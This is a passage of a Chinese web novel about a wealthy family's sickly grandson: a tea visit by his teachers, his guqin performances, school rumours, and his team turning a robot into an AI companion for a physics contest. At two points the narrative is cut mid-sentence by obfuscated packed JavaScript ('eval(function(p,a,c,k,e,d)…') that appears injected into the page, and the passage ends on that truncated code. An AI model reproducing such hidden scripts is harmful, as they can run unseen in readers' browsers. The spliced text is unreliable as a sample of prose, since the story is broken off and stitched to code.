他引着众女士到门前的枇杷树下品茶,亲自为每位老师斟上一杯翠绿如玉的龙井茶。老师们轻抿一口,顿觉神清气爽。 唐万里微笑着问道:“此茶如何?”老师们纷纷点头称赞,表示这是他们喝过的最鲜的茶。 “鲜!您说得好!老头子我倒不太像周围一些老友记,喜品醇香的红茶;我最好这一口,清新淡雅,充满生机活力。”小老头儿红光满面,微笑着说,“年轻人有朝气,有才气,就像这茶,清洌鲜活。” “我咋不觉得您对我有这么高的评价?!”一把嘹亮而清脆的声音从一进到二进的门口处传来,随即,一个穿着牛仔夹克、浅色宽松运动裤、半长的头发挽在后脑勺,额头上却扎着条鲜红色发带的高瘦男生大步走了进来。 老师们你看看我我看看你,“这位是?”进门这么久,她们主动提了两次让她们牵肠挂肚的唐晔同学,都被唐万里轻轻带过。而刚进门的这个孩子与唐晔的身高相仿,眉眼与照片里的唐山海有八分相似,大气而英姿飒爽。 只见男孩站在走廊上,扬起脸笑着对唐万里叫道:“爷爷!” 唐万里眉开眼笑,对她们三位说:“我大孙子,唐天!知行中学的。”正想让他向三位师长打招呼,门外又走进了几位少男少女,其中两位,几位老师熟悉得很。 “这几位就是你们学校的老师啊?”唐天笑着问何嘉南和袁雅维。 何嘉南有点儿紧张地对自家校长、主任们问好,袁雅维则飞奔到冯老师身边挨着她站着。昨晚上她才把在办公室里听到的话一五一十告诉了自己爸爸,今天就又在这儿见到主任和老师,小小的心立马虚了。 唐家的长房长孙唐天自顾自说道,“我当时也报考了省实,只是你们没有收我而已。现在看来真是幸运了,我弟性格这么文弱,也能被整成这样,要是给我,上学一个月说不定就被开除了呢!……嗯,也可能是我把学校给闹个天翻地覆?你说是不是,何柏文?” 旁边同样高的男生模样虽然俊朗,却嘻皮笑脸,和何嘉南有几分相像。 跟着他们进来的方源连忙介绍到:“老爷,这位是本地文化馆馆长何东家的公子何柏文,二少爷的同学。这一位是何东馆长胞弟、大学物理学院何西院长家的公子何嘉南。这一位小千金,您猜是谁家的?袁处长的千金宝贝。他们两位是三少爷的好朋友。” “哎呦,原来是袁小友家的小千金啊!来来,让爷爷看看!我可是看着你爸爸成长的,现在连他女儿也这么大了。何东馆长之前也有过一面之缘,倒是没机会见过何西院长。欢迎孩子们过来玩!” 何家两兄弟礼貌地应对着。 “爷爷,你们聊些啥,也说我听听嘛!我就看看他们现在打算把我弟怎么着!”唐天一屁股往桌边的空椅子上坐下来! “没规矩!学着你弟一些!”唐万里假装呵斥道。 “原来你喜欢他那任人宰割的调调呢?” “你可别烦了,我和老师们聊天呢,进去进去。” 唐天撇了一下嘴角,便招呼三位朋友大踏步的从他们身后经过,进入内院。 三位女教师见的孩子多了,但刚才见到这位唐家的长孙,给人的感觉与唐晔同学差异可太大了。 许是看出老师们心里的疑惑,小老头儿微微笑着说,“我呢,向来不向别人诉说家里的事,但既然是我家小孙子最亲近的老师们,刚才又与各位相谈甚欢,我也向各位袒露心事:小晔这孩子出生时早产,一出生,手掌那么大,连内脏都没发育完!多年来身体一直不太爽利。本来只要一直养着他也行,毕竟也就多张嘴吃饭。好不容易长大了,长开了,强壮了,我们把他放去见见世面。他回来跟我们说,老师们可关心他了,不但教他知识,还教他怎么夹着尾巴低头做人,还替他着想,怕他以后初中没毕业、找不到工作呢!我一听就乐了,我们以前不都这么过来的么!让孩子们多受点委屈,应该!要不这温室里的孩子们都不知道这社会有多现实呢!只是啊,我这孙子动不动就身体不适,从个巴掌大小,养到现在和我差不多高,看到他蔫巴巴的回来,小老头我也不好受。其它的,你们夹在中间,不难为你们。” “……只是,也可以回头想想,这孩子要不是我唐万里的孙子,昨天孩子也没发病,就一个普普通通的孩子,再把他普普通通的工薪父母叫过来,把那番话说一遍,是否有些人就轻易如愿了呢?”他傲然说道。 李主任不死心地问道:“唐老先生,不知您身边有没一位姓刘的先生?”毕竟周四晚,是她与这位自称是唐晔监护人的代理通过电话。 小老头儿回想一下,说,“有事您直接打他爸的电话,还有我们这位方总的。”方源连连点头。 教师们都唯唯诺诺的不敢再多说话,这一下子又是他妈妈的代理,一下子又是他爷爷的代理,看来这些大家族的关系也挺复杂的啊。 唐万里反而没太纠结这件事,提了这一嘴,又继续畅谈他的绿茶,再说到他们的集团的人文关怀、细说到进行了二十多年的青少年扶植计划,因为都是与教育界相关,刘校长也用自己的在教育界耕耘多年的观点附和了他。 方源从内院走了出来,安静地站在唐万里身后。 唐万里问走,“小晔起床了没?” “刚已起来,和二少爷及小朋友们正用早餐。” 又问:“东西已经送过去给他了?” “已经奉给三少爷了。” 唐万里喝完杯子里的茶,拍拍手,“走,看看孩子们去。” 五位大人穿过月亮门、走进晴园时,几位孩子在鱼池上的亭子或坐或站,或吃点心或喂鱼。亭子居中站着位穿着紫袍的纤瘦少年,正垂首轻抚桌上的一个木制长形盒子,似是一床弦乐器。 少年抬右手,轻轻或勾或挑,这弦乐器发出的声音不大,却余韵悠长,少年逐一试了七根琴弦,又一划而过。丝弦柔美的震动似乎撩起少年弹奏的兴致,他一振两袖、坐下来正准备开始弹奏,这时,倚在亭边、刚好吃完嘴里点心的何嘉南来了一句:“刚才说,这琴要几百万?!” 紫袍少年抬起的手一顿,又慢慢垂了下来放回膝上,轻声笑着答了一句话。 何柏文不由得对堂弟叫道,“妖,你别那么煞风景!” 唐天也叫着,“小晔,别理他。” 这时,拿着手机准备拍视频的袁雅维见到月亮门外进来的老师们,她叫道:“老师!”何嘉南也站了起来。 刚才背对他们的紫袍少年站起来,悠然转过身,环视了他们众人,又垂下眼帘,称呼道:“校长好,主任好,冯老师好。”说着,缓缓走向自己祖父。 看到这孩子脸上已有血色,刘校长放心不少,“唐晔同学,昨天听李主任和冯老师说你突然不舒服,我都担心死了,你是我们学校的尖子生,重点培养对象……”刘校长又想起这里还有位院长公子和处长千金呢,又补充道,“还有何嘉南和袁雅维。你们三位都是学校重点培养的尖子生,出现什么情况,我们当老师的都很紧张的。” 唐晔低头含笑,并不答话。 倒是唐家的长孙唐天,先是很不给面子地跺着脚哈哈大笑了几声,一激动踢到石凳子,又嗷呜了一声对着好友哭喊:“想捡软柿子捏,结果被大石头磕到脚趾头了,好疼!” 他又对着祖父叫道:“老爷子,您说,不能到处跟别人说自己是您家的娃,我倒无所谓啦,就我弟这小身子骨,能让人拿捏几把?” 唐万里斥责他,“没大没小!”又轻轻拍了拍唐晔的手臂,“小晔,看到这琴,喜欢吗?” “祖父所赠,无论何物,皆甚爱之!”少年偏着头低声答道。 这时学中文的冯老师很惊喜地走上前去看了看,“这是古琴?真正的古琴?唐晔,你还学过这个呢?”虽然与这孩子的隔阂还未完全消除,但她平时在孩子们那儿,口碑还不错。 唐晔也向着琴走了回去,微笑地回答她:“没有,自己随便弹个响而已。” “好想摸摸——”冯老师刚伸出手,方源忙说,“此琴名为‘流光’,出自初唐,历史悠久且极具收藏价值。前两个月唐老先生以高达九百万的价格成功竞得此琴,原本计划于春节期间赠予小晔少爷,以表心意。然而,鉴于昨晚的特殊情况,唐老先生立即决定提前将此琴呈上,以期能够抚慰小晔少爷的情绪。” 冯老师吓得缩回手,很直接说,“妈呀,这么贵,弄坏了卖了我都赔不起!……流光,和你的名字很配呢!” 唐晔笑而不答。 “弹一下给老师听听好不好?” 冯老师对少年卖了卖萌,趁机走到袁雅维身边。 唐晔转身对唐万里致意,“承祖父盛情,晔儿感激不已。今美物在侧,心向往之,欲以‘高山流水’试之。” “嗯,好!”唐万里径直走入亭中,坐到自己长孙唐天身边。方源引刘校长和李主任也进入亭中,请各位在亭边美人靠上就坐之后,又回到唐万里身侧。 只见紫袍少年端坐于古琴前,抬手振袖,双手轻抚琴弦,静静地感受一千三百多年前的历史沉淀。下一瞬,手腕轻抬离琴弦,先是一记“抹”音,如微风轻拂水面,轻柔而悠扬;接着是“挑”与“勾”的交错,仿佛山涧流水跳跃,清脆悦耳。他右手时而轻挑,时而重剔,如同溪水潺潺,又如狂风骤雨,抹、勾、摘、拂,每一个动作都恰到好处,仿佛与琴弦融为一体;左手则时而按下深沉的低音,时而滑过清脆的高音,时而吟唱出高山的雄伟,又猱出流水的柔情。 随着他双手在琴弦上跳跃,《高山流水》在指尖绽放。悠扬的琴声如泉水般流淌而出,仿佛将这院落带入了一个远离尘嚣的仙境。 周围一圈人被这美妙的琴声所吸引,神色各异。 唐哗左手边,唐天和何柏文闭上眼睛,全身心地投入琴曲之中,仿佛被那高山流水的意境所牵引。 何嘉南坐在堂兄身边,唐晔的左侧后方,他虽然对曲子感受不深,但就是莫名感到震撼。 唐万里坐在正面看着唐晔,就像看着自己最满意的作品,每一次低眉顺眼、每一次的抬腕落指,都牵动着他的心弦。 曲终,少年轻轻收回双手放回膝上,抬头含笑问祖父:“这一曲高山流水,可能入您的耳?” 唐万里干笑一声,先是不答话,停了一秒才拍手叫好。 看唐万里对这孩子的疼惜之情,刘校长微微笑着对旁边的李主任和冯老师说道:“此曲只应天上有,人间难得几回闻啊!”李主任也勉强挤出:“余音绕梁,唐晔同学当真多才多艺啊”的赞叹。 中文系毕业的冯老师说:“《高山流水》,相传是由古代琴师俞伯牙所创,他在山间弹奏时,偶遇知音钟子期。琴声如高山般雄浑,如流水般潺潺,两人因此结为莫逆之交。唐晔同学,刚才听你所奏,琴声初时如高山清风,意境非凡,不过好像……”说到这儿,她阔腿裤下的大腿却被坐右侧的李主任拧了一把,她醒悟过来,人家爷爷都说好,你个什么东西敢乱讲!马上改口说:“你的琴技真是炉火纯青,如行云流水,妙不可言啊。” 少年挑眉,起身,对自己学校各位老师晗首道:“师长们谬赞。” 袁雅维丝毫不掩饰对这男生的爱慕,一边收起刚录像完的手机,一边说:“帅!弹得太好看了!” 与她隔着走廊相邻的何嘉南却说,“好是挺好,但我总觉得前天在你家听到的那首,弹得更好,浑然一气。这首嘛,我不太会欣赏。” “哪首?” “就是我觉得……很像那些古装剧里那种用琴杀人的场景那个。” “广陵散吧?” “是吧?我觉得那一首是不是练得更多更熟些。” “你还会弹广陵散啊!能否让我聆听一曲?”冯老师对自己这学生的景慕之情已溢于表,似乎已经忘记自己来这里是所谓何事。 唐晔却起身,恭敬地垂首对师长们说:“抱歉,昨晚休息得不好,已有些疲累,先失陪了。” 刘校长和李主任急忙客气地回应。随后,三位教师在方源和袁雅维的陪同下先离开了园子。 这边,唐天问自己好友,“怎样,你觉得我弟刚才那曲子弹得如何。” 何柏文说,“嗯,我觉得,有点儿奇怪。高山流水按我的画面应该是泉水淙淙,却给我一种‘瀑布砸深潭,还有一群鸦’的感觉。怪!” “哈哈哈哈,你这是什么形容词!”何嘉南笑倒在旁。 “我也觉得。本来作为宫调代表之一,曲子通常展现出一种悠扬沉静、淳厚庄重的风格,却中间插了一段变了节奏的羽调。这什么作曲啊,国乐虽然我也听得不多……”唐天也摸着下巴。 “后面又变回泉水叮咚,这曲子,反正我爸没给我听过这版本……我总觉得在哪听过这中间几个乐句……”何柏文抚着额头。 “平沙落雁?”两个男孩同时惊叫:“是吗?你把平沙落雁给插进去了?”“小晔,你太顽皮了!” “哈哈哈哈哈!……高山流水觅知音,知音不在谁堪听?焦尾声断斜阳里,寻遍人间已无琴。”唐晔看着大人们走出去的方向,沉声缓缓念着。 袁雅维和何家兄弟在云山大宅陪他们两人玩到下午,唐晔逐渐开怀。 朋友们挤出白天时间过来探望,已属难得,见天色不早,唐天也对祖父说:“呃,今晚要回去跟舅父舅母吃饭,他们明天回M国……” 唐万里瞪了长孙一眼:“小没良心的,赶紧滚!” 夕阳西下,水池上几株枯枝挂着几片残叶,在寒风中轻轻摇曳,增添了几分秋末冬初的萧瑟。 适才数人笑语盈盈,转眼已剩紫袍少年独坐于亭中。 他闭目凝神,修长的手指沿着琴弦轻抚古琴。随着自己心境沉浸,指尖轻挑,丝弦之声缓缓响起。起初,声音轻柔而细腻,如失魂的怨女的低声啜泣,倾诉着无尽的哀怨。 唐万里在琴声的引导下缓步踏入园中,小心翼翼地不发出丝毫声响,他目光深邃地凝视着少年投入演奏的身影,而又闭目倾听,脸上流露出深沉的思索。 随着少年右手在琴弦上的流转,老人的眉头时而紧锁,时而舒展,脑海里仿佛出现了一个孤独的怨女。他也感受到了被囚禁的影子心中的愤怒、不甘与期盼。 随着曲调的深入,少年的双手在琴弦上跳跃得更加频繁,每一个指法都恰到好处,与琴声融为一体。当最后一个音符落下,琴声在空气中回荡,余音缈缈。 唐晔缓缓睁开眼睛,偏头望向老者。而他的祖父则依然闭目沉思,仿佛还在回味着那曲中的哀怨与情感。 “不错,用这丝弦琴,配上你的指法,倒是将幽怨悲凉的情调表现得丝丝入扣。”良久,唐万里赞叹道。 “爷爷,我……自觉在演奏时确实未能完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当时微博正逐渐兴起,此文一经曝光,立即引发了广大网友的热烈关注和讨论。至下午,该官员所在单位迅速回应,宣布已暂停其职务,相关机构也表示已介入调查。 唐万里步入晴园时,紫袍少年已早起喂鱼。 “你做的?” “爷爷,您怎么会有此一问?” “呵呵,这时机那么好,要说不是你做的我还不相信。” “那您已经认定了,又何必来问我?” “小不忍则乱大谋!你自幼博览群书,这种道理怎么不明?” 他看着祖父,忽然笑了:“晔儿知错了。下次当谨遵祖父教诲!” 少年心里自嘲:一介摇尾乞怜之辈,您还望其光风霁月?不过是狗急跳墙罢了! 周一早上,省实的同学们回到教室后,纷纷议论纷纷:“听说梁小贝的叔叔被停职了。” 有人疑惑地问:“不是只是暂时停职吗?” 另一个同学则猜测:“这么大的事,如果是真的,恐怕……”那同学在脖子上比了一个咔嚓的动作:“回不来了……” 唐晔从教室后门低调地回到班里,但他的身影圃一出现,班里众人霎时安静了下来。 而后,更小声的耳语响了起来:“上周五来接他那个人可是万里地产的二把手!” “都说他非富即贵了。” “看他平时用的东西就知道家里有很有钱,他9月底才给宿管阿姨没收过一个平板,前些天我见他还敢带平板来学校。” “平板算啥,知道他那台自行车是什么牌子的、多少钱吗?” “用库里南来接小孩的家庭,难道没那个钱?” “如果他是唐家的小孩,那一切就不奇怪了。” “什么不奇怪?” “成绩啊!可以请特级家教来辅导吧,每小时一两千块钱那种海淀名师。” “笑死了,这算什么?整个南方一大半的地皮都是他家的,别说辅导老师,学校都给你买下来,还用学习?” “那他的月考成绩,从来都是满分啊!” “你连学校都能买下来!还怕考试?” “那数学比赛怎么说?” “所以不就是说要查他成绩吗?” “不会吧,我还以为是因为他得罪梁小贝,教育局才说要查他成绩呢?” “因为得罪校内老师而被取消比赛成绩?!也是损害了自己工作单位的名声啊,我觉得梁小贝不至于吧。” 教室里弥漫着一种非常奇怪的气氛,让身在其中的袁雅唯一下子不知道怎么办好。这时候,早训的铃声响起。同学们三三两两下去排队。 “真好! 他又不用去!” “特权阶层呗!” “你别想了,下辈子投个好胎吧!” 唐晔站起来,从窗户里看着楼下的人群。 冯老师的声音从他身后响起:“唐晔,前两天,老师让你很失望了,是吗?在你眼里的老师,为着两餐,在努力说服你接受本不属于你的委屈;又为着‘唐万里’的大名,而对你唯唯诺诺。” “……对于你,诗词歌赋是兴趣,顺手即可拈来;而对于我,却是吃饭的家伙,是,我、我们大多数人是为了衣食住行而拼命,为了保住既有成绩而担惊受怕。但,你有没想过,我们所崇敬的‘唐万里’三个字,也是他老人家几十年如一日的积累,并非一蹴而就。 你的生活条件远胜于我们,已经生在罗马,不需要再营营役役;你本人也有这么聪明的头脑,那你有没想过,既已站在了巨人肩上,目光就应投向星辰大海? 我一直都相信你没有作弊,也一直相信时间和你的诚信会给你清白。” 唐晔沉默片刻,问道:“老师,您难道不问我关于梁小贝叔叔的事吗?您不怀疑那是我做的吗?” 冯老师淡淡回应:“梁叔叔的事情是谁做的,与你何干?重要的是你自己!你的家庭为你做了什么,那是他们的事。” 冯老师走远后,唐晔低声自语:“那就是我自己做的啊……” 在同学们的猜疑与指指点点下,唐晔的日子变得如履薄冰。教育局没人再来调查他的数学竞赛结果,而他的优异成绩竟成了他的沉重包袱,同学们怀疑的眼神如同利剑,随时刺向他。 下课铃声响起,他不再与何嘉南结伴玩耍,而是独自坐在座位上,目光空洞地望向窗外。午餐时,他总是等到饭堂快要关门,才匆匆去吃点什么,或是简单买个面包,独自在天台上度过午休时光。 天台成了他唯一的避风港。那里空旷无人,只有偶尔飞过的鸟儿和飘过的白云。他独自一人坐在那里,任由思绪飘飞。 何嘉南几个人倒是经常硬拉他去空中花园打乒乓球,但他毫无兴趣,不想驳了好友的面子,只靠在栏杆边发呆。 楼下,刚从饭堂里走出来的人群三五成群,有些人在散步,有些人赶紧冲上楼梯想抢占阅览室,有些人一吃饱就开始打篮球,有些人围在公告栏前面,还有几个人拿着募捐箱拦截着刚从饭堂里出来的人。 缓步走上楼梯的三三两两的女生在聊:“刚才究竟募捐给谁?我没看清。” “初三2班的梁一民师兄,红纸上不是写了吗,他妈妈得了重病,要花好多钱呢!” “我知道了,初三的大学霸嘛,长得又高又帅!” “可惜不富!” “何止不富,家境简直是赤字。妈妈得这种病,都不知还要花多少钱,捐几十、一百,杯水车薪而已!” “以为人人都有上千亿身家咩!世界本来就不公平。” 她们在走廊上渐渐走远。 …… Nuit,你说,要是唐晚星,他会怎么做? 你当然不会知道,你只是个AI而已。 …… 10. 第 10 章 12月2日周一,放学时,一班班主任悄悄地告诉何嘉南,“初三的四名学长本来初赛已凭优异成绩入围物理全国联赛,但由于梁一民师兄家里有事,张亦晨师兄要参加英语的联赛,他们退出后,现在物理全国联赛空出两个名额,学校打算让你和唐晔当替补顶上。” 何嘉南自问自己的学业成绩虽然一直名列前茅,但似乎也并未达到那种出类拔萃的程度,才一年级的自己为什么会得到这个机会?初三的师兄师姐里尽管还有比自己好的。当然唐晔那自是无可挑剔,他的头脑与实力,连自己老爸都认同。然而,自己为何也能得到这个机会,何嘉南心中充满了疑问。 班主任似乎看出了何嘉南心中的困惑,她笑了笑,轻轻拍了拍何嘉南的肩膀,说:“这是学校的安排,当然是觉得你行呗!你们只需要做好准备,迎接即将到来的挑战。” “老师,我考虑一下。” “你还考虑?!好,要快,明天开始要为全国联赛集训了!” 与唐晔一起骑车回家,何嘉南向他提出这个疑问。 唐晔对他笑笑,不答反问:“难道你不想去吗?我很想去,很想和你并肩作战。” “唐晔,我和你的水平不同。我需要一个理由来说服自己。” “何嘉南,那你想听到我对你说‘跟着我,能获奖’;还是对你说‘我很害怕,想和你一起’呢?” 与他在合群路口分别后,何嘉南骑车上桥,12月初气温尚暖,海印桥上,他看到夕阳的余晖洒落在江面上,波光粼粼,仿佛无数颗金色的星星在闪烁。而二沙岛则像是被夕阳轻轻拥抱的珍宝,岛上的建筑和绿树都被镀上了一层金色的光辉,给了他希望和力量。 “跟着我,能获奖。”这句话虽然简单,但却透露出一种自信和坚定。何嘉南想,也许正是因为他有这种自信和实力,学校才放心让他们两人作为替补参赛吧。 然而,唐晔的另一句话:“我很害怕,想和你一起。”这句话让他感到有些意外。唐晔对他如此坦白,他知道唐晔虽然不说,但最近被冤枉被误会,心里肯定不好受。 看着夕阳斜照的二沙岛,何嘉南心中涌起一股豪迈,为什么不去!试一下又不会掉块肉!而且,就当陪陪好友、一同增长见识也行啊。 收拾起心中的疑惑,他马上停下骑行给老师发信息确认了这事。 星期二下午放学后,物理科组长林志远老师把四个参赛的同学集中到五楼的科学室。 “同学们,这次入围的全国初中生物理赛制是这样的:其中60%的分数来自于闭卷考试的卷面成绩,由四名同学分别完成后计算总分;剩余的40%是主观自选课题部分,四位同学都需要参与演讲或实操。全国总共有24支队伍参赛。 上个月,我们学校在省级预赛中成功获得了参赛资格,这是一份极大的荣誉。你们四位同学不仅代表了我们学校,更与我市广亚中学的队伍一同,展现了我们省初中生物理的最高水平。” 林老师已经极为熟悉王翔宇和赵铭轩两位初三学生,但对于初一的唐晔和何嘉南,他就有点不以为然了,何况这名学生刚刚才传出数学竞赛的成绩有猫腻;那个又是哪个大学什么校长的亲儿子,哼,皇亲国戚来蹭热度。 刘校长的说法是,“何爸爸是大学物理学院院长,何嘉南次次考试都名列前茅,而唐晔你就更不用担心了,他没有哪次不是满分。” 林老师自觉有点焦躁,感觉来了两尊佛,带不动,不敢不带。 林老师进行了如下安排:两名初三学生继续完善机器人编程;而两名初一学生则先完成林老师从题库中随机抽取的题目,以摸底测试。 四个学生两两分别坐在教室的前部和后部。两名初一学生的表现截然不同:唐晔一脸平静,手里的笔几乎不停地写着,除了读题看题停顿一下、几乎无需思考,尽管老师给了40分钟的做题时间,但唐晔在最后十几分钟只是盯着窗玻璃发呆,但又对林老师的暗示可交卷的提醒也置若罔闻;相对而言,物理学院院长家的公子何嘉南则显得有些焦虑不安,拼命抓耳挠腮,毕竟这是奥赛级别的题型啊。 40分钟的铃声响起后,林老师迅速走过去收了两人的试卷,快速浏览后发现,唐晔的卷子几乎无错误和空白,而何嘉南的试卷则不尽如人意。 林老师轻轻叹了口气。 何嘉南第一次因为成绩而感到尴尬无比。 唐晔侧过身子,注视着何嘉南说:“没事,来得及,你可以的。”又对林老师说:“老师,我知道你信不过我们。这样说吧,题目难度的范围我们大概知道了。现在离正式比赛还有24天时间,按规程,我们需要最迟在22号到沪城报到,27、28号比赛,期间我们还要熟悉场地,特别是调试演示内容。那就是说,我们在羊城还有19个晚上。我认为,您要给我们恶补,以我们两个的逻辑思维,还来得及。而且别忘了,何爸爸能教给何嘉南的知识,绝对比别的家庭的孩子要多得多。” 林老师看到唐晔在自己面前亲手完成的随机抽出的考卷,心里已经相信的确像他老同事——教数学的张老师所言,这孩子头脑好得根本不需要去作弊,当你真的懂一道题时,自己把它做出来比背答案更快。 他不由得问:“之前我听梁一民说你已经为此给他们提过意见了吧,那你说说对这十几天是怎么安排?” 唐晔看看他,又扫了一眼两位还在低头编程的师兄:“我就直说了吧:理论知识和题目我不认为我还需要花时间,所以我想马上参与到自选课题的研究中。 林老师说:“这个机器人的完成度已经很高了,你可以先跟着师兄们先了解一下。” 唐晔毫不客气:“自选课题环节,你们不会真的认为只选用这么简单的固定程式机器人吧?况且,近期机器人话题如此热门,想必会有很多队伍涉足。若只是稳扎稳打,又怎能脱颖而出?更何况,如果有队伍选择了今年的新颖话题,比如量子比特的低温耦合、核聚变反应的新发现,以及等离子态更精密的操控等,无疑都会加分不少。” “那你想现在换课题?” “来不及,机器人肯定要继续做,毕竟经费也花了。但我认为,改是必须要改。现在智能家居都兴起了,谁还会对非智能机器人感兴趣?” “难道你想为我们的机器人加入AI?” “为什么不行?” 这时候,两名师兄也凑了过来。 赵铭轩说:“不到20天时间,哪来得及重新搞!”他捅了捅他的同伴王翔宇。 但王翔宇却不发一言。 “拿不出手的东西,想我直言,你们只是在白费时间。”唐晔微笑着,说话却毫不留情。 “你有什么想法?”林老师问 “我的想法是,将机器人改一下,除了作为普通可量产的播放器、温控小风扇等功能保留外,定位为智能陪伴型机器人,能够深入理解我们的需求。” “那么它与现有的机器人有何不同呢?” “它理应能够自动检测附近是否有人,并主动问候。它还能大致分析人的表情和声音中的情绪,判断是否需要提供情绪价值服务,如陪伴聊天或播放音乐等。” “那和现在的有什么区别,不都是按语音提示放些音乐、吹个风让心情舒畅么。”赵铭轩说。 “但智能的陪伴机器人不仅仅是具备语音和音乐播放功能,它是能够根据用户的情绪状态,智能地选择话题和聊天方式,真正做到情感的陪伴。” “你想怎么改嘛?”赵师兄又问。 “我打算内置先进的自然语言处理模型和情感分析算法。它能够实时分析用户的语音和表情,识别出其中的情感倾向和关键词,从而智能地选择合适的话题和聊天策略。” “那升级的东西不是要很多?” “刚刚其实一直有在看师兄们的操控,我认为,硬件上我们需要升级处理器和超高清摄像头,这样才能更准确进行面部识别……” “但手机前置也就500万像素……” “你会和机器人怼脸吗?人型探测装置、超高清摄像头、更清晰的麦克风,这些都不是问题,等下我们统计一下,等下在购物平台下单就行了。” 这时,负责软件设计的王翔宇说,“软件设计是我和梁一民一起搞的,但主要是他搞的。而且,人工智能的算法,我其实了解得并不深入。”他挠了挠头。 唐晔说:“我刚才看了一下,语音识别模块原来的完成度已经很高,现在要加入视觉以及人体探测模块,在赵师兄升级完硬件的两天内,王师兄可以先熟悉一下,之后,我认为王师兄用一个星期就能搞定。” 林老师问出最关键的:“AI的核心模块呢?” 唐晔信心满满地回答:“这些我会。它涉及大量数据的输入和处理,需要复杂的函数进行训练。但请放心,我会妥善处理。” 林老师似乎还有些疑虑:“你一个人真的能搞定吗?说实话,我对AI的了解有限,但知道它是个复杂的领域。” “我来处理。如果老师和各位没意见,我来具体说下想法了。” 唐晔继续说:“我们四个人可以依据各自的专业领域和技能进行分工: 一,是硬件改造,由赵铭轩负责。检查和更新机器人现有的传感器、处理器、执行器等硬件部件,确保它们能够支持新的功能。根据需要,增加新的硬件组件,如人体探测器、高清摄像头、麦克风等,以增强机器人的交互能力。从拿到零件开始,只能给你一个整天时间。”他打开一个EXCEL表格,?边说一边在表格里输入负责人和每人任务。 “软件设计,王翔宇。他需要在现有的系统基础上,新增高清摄像头和人体探测装置的接入功能,并且还得预留出接入智能框架的端口,以便后续的扩展和升级。” “机器训练我负责,包括语音识别、自然语言处理、图像识别以及情感分析,还有行为训练等等。” “来得及吗?这些都需要大量的数据来支撑啊。”王翔宇有些担忧地问道。 唐晔微微一笑说:“其实我已经有了个取巧的办法。最近M国MM大学的人工智能研究中心发布了一个开源的图像识别模型,国内也有家科技公司提供了成熟的语音识别和自然语言处理模块,这些我们都可以直接利用,节省不少时间。至于情感分析和行为训练,我打算先从一个精简的数据集开始,这样也能快速搭建起一个基础模型。” 他顿了顿,继续道:“当然,自然语言流畅度也是个需要考虑的点。但目前来看,一是时间确实紧张,二是现在的智能机器人还在发展初期,略带一点机器感的对话,大家也都能接受,不会觉得太突兀。” “那我呢?”何嘉南有点迷茫地问道。 林老师点了点头:“那何嘉南,这一两周时间先巩固下基础知识。” 何嘉南顿时更加垂头丧气。 唐晔搭在他肩膀上,注视着他认真说:“是这样的,前面两周,你先按照林老师的安排巩固基础知识,毕竟这个你个人部分占了15%,其实比你投资时间去做自主课题的收益高。 两周后,我会给你一份详细的评估表,你需要根据这份表格对机器人进行一系列的评估和测试。你的黑盒测试结果对我们来说非常重要,所以请务必认真完成,并及时反馈给我和王师兄。这样我们才能更好地调整机器人的程序,进一步优化和改进。” 林老师拍了板。安排好了这个机器人升级改造工作计划后,接下来的两周时间里,整个团队都进入了紧张而有序的工作状态。 负责硬件改造的赵铭轩,仅用一天就完成了高清摄像头和处理器的改装工作。他细心地调整着每一个螺丝、每一条数据线的精准连接,确保每一个部件都完美契合,为机器人的智能化改造打下了坚实的基础。 而与此同时,王翔宇和唐晔则开始了他们更为细致的合作。王翔宇坐在电脑前,手指在键盘上飞快地敲击,一行行代码如流水般流淌而出,为机器人的软件设计倾注全部的心血。 而唐晔则在一旁翻看着各种资料,时而低头沉思,时而抬头与王翔宇交流几句。 在如何接入高清摄像头和人体探测装置的问题上,两人的观点产生了分歧。 “我认为我们应该先建立一个稳定的接口,确保数据传输无误,然后再逐步优化性能。”唐晔严肃地表达着自己的观点,眉头紧锁,显然对这个问题非常认真。 王翔宇却有不同的看法,他摇了摇头说:“时间紧迫,我们需要的是快速实现功能。我们可以先快速接入,然后在后续的调试中逐步优化性能。” 唐晔听了有些不满,反驳道:“但是,如果接口不稳定,后续的工作肯定会受到影响。我们不能为了速度而牺牲质量。” 王翔宇有些不耐烦地说:“你自己也不是经常使用预处理模型来简化工作吗?为什么到了我这里,就得推翻原来的摄像头代码全部重写呢?” 唐晔深吸了一口气,耐心地解释道:“很明显,原来的摄像头指令并不足以驱动现在的高清摄像头。这就好比你的眼睛能看到清晰的画面,却无法传输这些信息给大脑,那我们还怎么进行图像分析呢?所以我们必须重新设计接口。”平时说话柔顺的唐晔,在做事时却显得异常坚定。 有天晚上九点多,科学室的灯光依然明亮,映照着两位忙碌的身影。王师兄和唐晔还在为机器人的某个交互细节争论不休。 “师兄,你这个设计真的不合理,维护起来会很麻烦!”唐晔指着屏幕上的一段程序代码,理直气壮。 “我觉得这样设计挺好的,符合逻辑。”王翔宇坚持自己的观点。对着这个整天抓逻辑抓细节不放的学弟,他的声音和举止中已经透露出极度不耐烦。 两人的声音逐渐提高,气氛变得紧张起来。 “妖!懒得理你!”说完,王翔宇摔门而出,留下唐晔一人在科学室内。 在自行车棚遇上之前退出他们这个竞赛小组的张亦晨。 “你也这么晚?”王翔宇问。 “别说了,我们英语老师简直变态,她指导我的那个演讲稿,我改了20多遍!”张亦晨也一肚子气。 王翔宇对他吐槽,“你起码是受老师的气!好过我受个一年级的鸟气!唐晔那沙哔做项目时还不是个变态,严格到逐行逐行精简,不做到最好誓不罢休,我几个晚上都是快1点才睡了!做完这项目、比赛完绝对不想再见到他了。” 张亦晨说:“我就知道那家伙不是啥好人!兄弟,消消气!别跟那些一年级的置气!凭什么来替补的还当上老大,不就是有几个钱呗!” 王翔宇话赶话的也吐槽了唐晔好几句。 两人在路口分开,王翔宇一路骑车回家,已经冷静了下来。他停好自行车,给唐晔发了个信息:“抱歉啊,今天太累了,说话重了些。” 唐晔很快回复他:“没事。请好好休息!我们明天再讨论。” 只是王翔宇也没想到,当时自己的几句随口吐槽,却在以后被人无限放大,把那位小同伴伤害得体无完肤。 他们的智能陪伴机器人在第二个周末晚上初见成效。 12月16号午休,第一批 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 